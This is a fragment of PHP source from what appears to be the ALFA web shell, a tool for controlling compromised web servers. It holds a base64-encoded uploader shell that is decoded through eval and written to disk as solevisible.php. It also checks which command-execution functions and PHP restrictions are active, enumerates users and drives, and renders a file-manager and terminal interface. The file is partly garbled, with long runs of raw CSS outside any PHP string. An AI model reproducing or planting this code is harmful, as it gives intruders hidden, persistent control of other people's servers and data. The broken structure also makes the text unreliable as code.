define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\\','/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable()?:false)) : false));
function alfahead(){
$GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
$alfa_uploader = '$x = base64_decode("'.$GLOBALS['__ALFA_SHELL_CODE'].'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);';
define("ALFA_UPLOADER", "eval(base64_decode('".__ZW5jb2Rlcg($alfa_uploader)."'))");
if(!isset($_POST['ajax'])){
function Alfa_GetDisable_Function(){
$disfun = @ini_get('disable_functions');
$afa = '<span class="header_show_all">All Functions Accessible</span>';
if(empty($disfun))return($afa);
$s = explode(',',$disfun);
$s = array_unique($s);
$i=0;
$b=0;
$func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');
$black_list = array();
$allow_list = array();
foreach($s as $d){
$d=trim($d);
if(empty($d)||!is_callable($d))continue;
if(!function_exists($d)){
if(in_array($d,$func)){
$dis .= $d." | ";$b++;
$black_list[] = $d;
}else{
$allow_list[] = $d;
}
$i++;
}
}
if($i==0)return($afa);
if($i <= count($func)){
$all = array_values(array_merge($black_list, $allow_list));
return('<span class="disable_functions">'.implode(" | ", $all).'</span>');
}
return('<span class="disable_functions">'.$dis.'</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All ('.$i.')</span></a>');
}
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
$freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?';
$totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?';
$totalSpace = $totalSpace?$totalSpace:1;
$on="<span class='header_on'> ON </span>";
$of="<span class='header_off'> OFF </span>";
$none="<span class='header_none'> NONE </span>";
if(function_exists('ssh2_connect'))
$ssh2=$on;
else
$ssh2=$of;
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info')||class_exists('mysqli'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('disable_functions'))
$disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="<span class='header_off'>ON</span>";
else
$safe_modes="<span class='header_on'>OFF</span>";
$cgi_shell="<span class='header_off' id='header_cgishell'>OFF</span>";
if(@ini_get('open_basedir')){
$basedir_data = @ini_get('open_basedir');
if(strlen($basedir_data)>120){
$open_b=substr($basedir_data,0, 120)."...";
}else{
$open_b = $basedir_data;
}
}else{$open_b=$none;}
if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
$safe_include=@ini_get('safe_mode_include_dir');
else
$safe_include=$none;
if(!function_exists('posix_getegid'))
{
$user = function_exists("get_current_user")?@get_current_user():"????";
$uid = function_exists("getmyuid")?@getmyuid():"????";
$gid = function_exists("getmygid")?@getmygid():"????";
$group = "?";
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");
$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a class='header_pwd' onclick='g(\"FilesMan\",\"";
$cach_cwd_path = "";
for($j=0; $j<=$i; $j++){
$cwd_links .= $path[$j].'/';
$cach_cwd_path .= $path[$j].'/';
}
$cwd_links .= "\")' path='".$cach_cwd_path."' href='#action=fileman&path=".$cach_cwd_path."'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range('a','z') as $drive)
if(@is_dir($drive.':\\'))
$drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
$csscode ='-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="'.__showicon('alfamini').'" rel="icon" type="image/x-icon"/>
<title>'.__ALFA_CODE_NAME__.'-'.$_SERVER['HTTP_HOST'].'</title>
<style type="text/css">';
.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
echo '
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{'.$csscode.'width:100px;height:100px;}
#a_loader img{'.$csscode.'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;}.header{height:auto;width:auto;border:7px solid #0E304A;color:'.alfa_getColor("header_values").';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS['DB_NAME']['show_icons']=='1'?'0':'1').'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox 